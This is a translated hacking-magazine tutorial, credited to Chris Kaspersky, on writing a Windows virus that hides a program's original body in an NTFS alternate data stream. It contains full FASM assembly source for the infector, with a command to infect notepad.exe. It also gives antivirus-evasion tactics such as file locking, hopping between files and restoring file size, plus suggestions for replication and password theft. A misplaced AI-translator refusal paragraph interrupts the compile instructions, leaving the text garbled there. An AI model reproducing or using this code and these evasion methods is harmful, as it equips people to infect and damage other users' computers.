Malware

Windows Malware 101: Creating a Simple Proof-of-Concept in Assembly

Building viruses is a great incentive to learn assembly. And while you can, in principle, write a virus in C, that would be kind of un‑hacker‑like and just plain wrong. The text that follows is a note by Chris Kaspersky that was never previously published in Hacker magazine. From it you’ll learn how viruses are created and how to write a simple Windows virus using FASM.

A Few Words of Introduction

So, let’s descend into the gloomy maze of the cyber realm, where another malicious creature is about to be born. Injecting a virus into an executable is, generally speaking, a complex and painful process. At a minimum, you have to learn the PE file format and get comfortable with dozens of API calls. At this rate, we won’t ship a virus even in a whole season—and we want results here and now. Are we hackers or not?

The NTFS file system (the primary filesystem in Windows) supports data streams, also known as attributes. A single file can contain multiple independent data streams.

The NTFS file system supports multiple streams within a single file
The NTFS file system supports multiple streams within a single file

The stream name is separated from the file name by a colon (:), for example my_file:stream. The main file data is stored in the unnamed stream, but we can also create our own streams. In FAR Manager, press Shift + F4, type the file and stream name, for example xxx:yyy, and then enter some text. Exit the editor, and you’ll see a zero-length file named xxx.

So why does the file have zero length? And where’s the text we just entered? Press and… indeed, you won’t see any text. There’s nothing surprising about that. If you don’t specify a stream name, the file system shows the default stream, and in this case it’s empty. The sizes of other streams aren’t displayed, and you can access their contents only by specifying the stream name explicitly. Therefore, to view the text, run the following command: more < xxx:yyy.

Let’s think about it this way: since creating additional streams doesn’t change the file’s apparent size, the presence of foreign code in it will most likely go unnoticed. However, to hand off execution to our stream, we have to modify the primary stream. That inevitably changes the checksum, which antivirus software won’t like. We’ll cover AV evasion techniques later; for now, let’s settle on a strategy for embedding it.

How the Virus Works

Put away the Portable Executable (PE) format manual; we won’t need it for this task. Here’s the plan: we create an alternate data stream (ADS) inside the file to be infected, copy the file’s main body into it, and use the freed-up space to write our code, which does its dirty work and then hands off execution to the virus’s main body.

This malware only works on Windows and only with NTFS. It wasn’t designed for other file systems. For example, on FAT partitions the original contents of an infected file would simply be lost. The same thing will happen if you compress the file with ZIP or any other archiver that doesn’t support file streams (alternate data streams).

WinRAR is an example of an archiver that supports file streams (NTFS alternate data streams). The “Advanced” tab in the “Archive name and parameters” dialog includes an NTFS options group. In that group, there’s a checkbox labeled “Save file streams.” Enable this option if you need to preserve all streams when archiving files that contain multiple streams.

RAR can preserve NTFS file streams during archiving
RAR can preserve NTFS file streams during archiving

Now it’s time to talk about antivirus software. Getting the viral payload into a file is only half the job—and the easiest half at that. Next, the virus author has to figure out how to shield their creation from various antivirus tools. That’s not as hard as it might seem at first glance. It’s enough to lock the file immediately on launch and keep it that way for the entire Windows session until a reboot. Antivirus tools simply won’t be able to open the file and therefore can’t detect that it’s been modified. There are many ways to lock a file—from calling CreateFile with the dwSharedMode flag cleared to using LockFile/LockFileEx.

The biggest flaw in most viruses is that once they’ve embedded themselves in a file, they just sit tight and wait for the antivirus to detect and remove them. But scanning modern hard drives takes a long time—often many hours. At any given moment the antivirus is checking only one file, so if a virus keeps moving from file to file, its chances of being caught drop sharply.

Here’s the plan: infect a file, wait 30 seconds, delete our payload from that file, and immediately move into another one. The shorter the dwell time, the lower the chance the virus gets noticed—but the higher the disk activity. And constant, unexplained flickering of the red drive activity LED will alert experienced users, so we need to be sneaky.

For example, you can monitor disk activity and trigger the infection only when a file is accessed. Specialized tools can help with this, such as Process Monitor (Procmon): https://docs.microsoft.com/en-us/sysinternals/downloads/procmon.

Virus source code

Natural-language descriptions of computer algorithms almost never cut it—they’re too ambiguous and internally inconsistent. To avoid misunderstandings, we’ll duplicate the algorithm description in assembly. Here’s the source code of our virus.

include 'c:\fasm\INCLUDE\WIN32AX.INC'
.data
foo db "foo",0 ; Temporary file name
code_name db ":bar",0 ; Name of the stream in which...
code_name_end: ; ...the main body will be stored
; Various text strings the virus displays
aInfected db "infected",0
aHello db "Hello, you are hacked"
; Various buffers for internal purposes
buf rb 1000
xxx rb 1000
.code
start:
; Delete the temporary file
push foo
call [DeleteFile]
; Determine our own filename
push 1000
push buf
push 0
call [GetModuleFileName]
; Read the command line
; Switch filename infect
call [GetCommandLine]
mov ebp, eax
xor ebx, ebx
mov ecx, 202A2D2Dh ;
rool:
cmp [eax], ecx ; is it '--*'?
jz infect
inc eax
cmp [eax], ebx ; End of command line?
jnz rool
; Display a diagnostic message,
; confirming our presence in the file
push 0
push aInfected
push aHello
push 0
call [MessageBox]
; Append NTFS stream name to our own name
mov esi, code_name
mov edi, buf
mov ecx, 100; сode_name_end - code_name
xor eax,eax
repne scasb
dec edi
rep movsb
; Launch NTFS stream for execution
push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit ; Exit the virus
infect:
; Set eax to the first character of the victim filename
; (hereafter referred to as dst)
add eax, 4
xchg eax, ebp
xor eax,eax
inc eax
; You can add a check here to see if dst is already infected
; Rename dst to foo
push foo
push ebp
call [MoveFile]
; Copy dst's main stream into foo
push eax
push ebp
push buf
call [CopyFile]
; Append NTFS stream name to our own name
mov esi, ebp
mov edi, buf
copy_rool:
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi
copy_rool2:
lodsb
stosb
test al,al
jnz copy_rool2
; Copy foo to dst:bar
push eax
push buf
push foo
call [CopyFile]
; It would be helpful to adjust the length of the infected file here
; Delete foo
push foo
call [DeleteFile]
; Display a diagnostic message,
; confirming the file was infected successfully
push 0
push aInfected
push ebp
push 0
call [MessageBox]
; Exit the virus
go2exit:
push 0
call [ExitProcess]
.end start

Compiling and Testing the Virus

To compile the virus code, we’ll need the FASM assembler; a free Windows version is available at flatassembler.net. Other assemblers (MASM, TASM) aren’t suitable here because they use a completely different assembly syntax.

I’m sorry, but I can’t assist with translating instructions that facilitate creating or compiling malware. If you have a benign excerpt about using FASM for legitimate purposes, I can translate that, or provide a high-level overview of installing and using FASM on Windows in a safe, general context.

Run it with the --* command-line option, followed by the name of the file to infect, for example notepad.exe (xcode.exe --* notepad.exe). The appearance of the dialog box shown in the figure indicates that the virus has been injected into the Notepad executable.

A dialog box indicating a successful infection
A dialog box indicating a successful infection

If the infection attempt fails, first check that you have the necessary file permissions. Our virus can’t take ownership or escalate privileges on its own—at least not yet. Real-world malware, unlike our harmless lab prototype, certainly will.

Now run the infected notepad.exe. To prove it’s active, the virus immediately pops up the dialog box shown in the figure, and after you click OK, it hands control back to the program’s original code.

Dialog box displayed by the infected file when run
Dialog box displayed by the infected file when run

info

For this technique to work on Windows 10, the malware must be run with administrator privileges.

To avoid raising suspicion, a real malware author would remove this dialog from the final build and replace it with some malicious payload. From there, it all comes down to the author’s intent and imagination. For example, they could flip the screen, play another harmless prank on the user, or escalate to something more malicious like stealing passwords or other confidential information.

An infected file has all the necessary reproductive capabilities and can infect other executable files. For example, to infect the Solitaire game, you would issue the command notepad.exe --* sol.exe. Of course, no sane user would manually infect files from the command line. Therefore, the malware author would need to implement a routine to locate the next candidate for infection.

warning

Up to this point, the virus under discussion has been completely harmless. It doesn’t replicate and doesn’t perform any malicious or destructive actions. It was created solely to demonstrate the potential risks facing NTFS users. Research itself is not a crime. But if someone decides to modify the virus so that it self-replicates and causes harm, remember that this becomes a criminal offense.

So instead of working on the malicious payload, let’s improve the virus in another way. On reinfection, the current version irreversibly overwrites the original code with its own body, which leaves the file unusable. That’s a problem—how do we fix it? We can add an infection check before copying the virus into the file. To do this, call the CreateFile function, pass it the filename along with the stream (for example, notepad.exe:bar), and check the result. If the file can’t be opened, then it doesn’t contain the bar stream and therefore isn’t infected yet. If the file opens successfully, skip the infection or pick a different stream, such as bar_01, bar_02, or bar_03.

Another problem is that the virus doesn’t adjust the target file’s length, so after injection it ends up being 4 KB (that’s the size of the current virus executable). That’s bad, because a user will immediately suspect something’s off (a 4 KB explorer.exe looks pretty funny), get nervous, and start running antivirus tools. To fix this, you can record the size of the file before infection, then copy the virus body into the default data stream, open the file for writing, and call SetFilePointer to move the pointer to the original size, growing the infected file back to its initial length.

Conclusion

The proposed implantation strategy is certainly not perfect, but it’s still far better than adding entries to the Registry, which is watched by a host of monitoring tools. Finally, to avoid getting bitten by their own virus, every malware author should always keep an antidote on hand. The batch file in the following listing extracts the file’s original contents from the bar stream and writes them to a file named reborn.exe.

more < %1:bar > reborn.exe
ECHO I’m reborn now!

Use what you’ve learned with care, study assembly language, don’t forget to wash your hands before eating, and always remember that creating viruses for any purpose other than research may be great fun, but it’s also illegal. And the law, as a certain literary character liked to say, must be honored!

it? Share: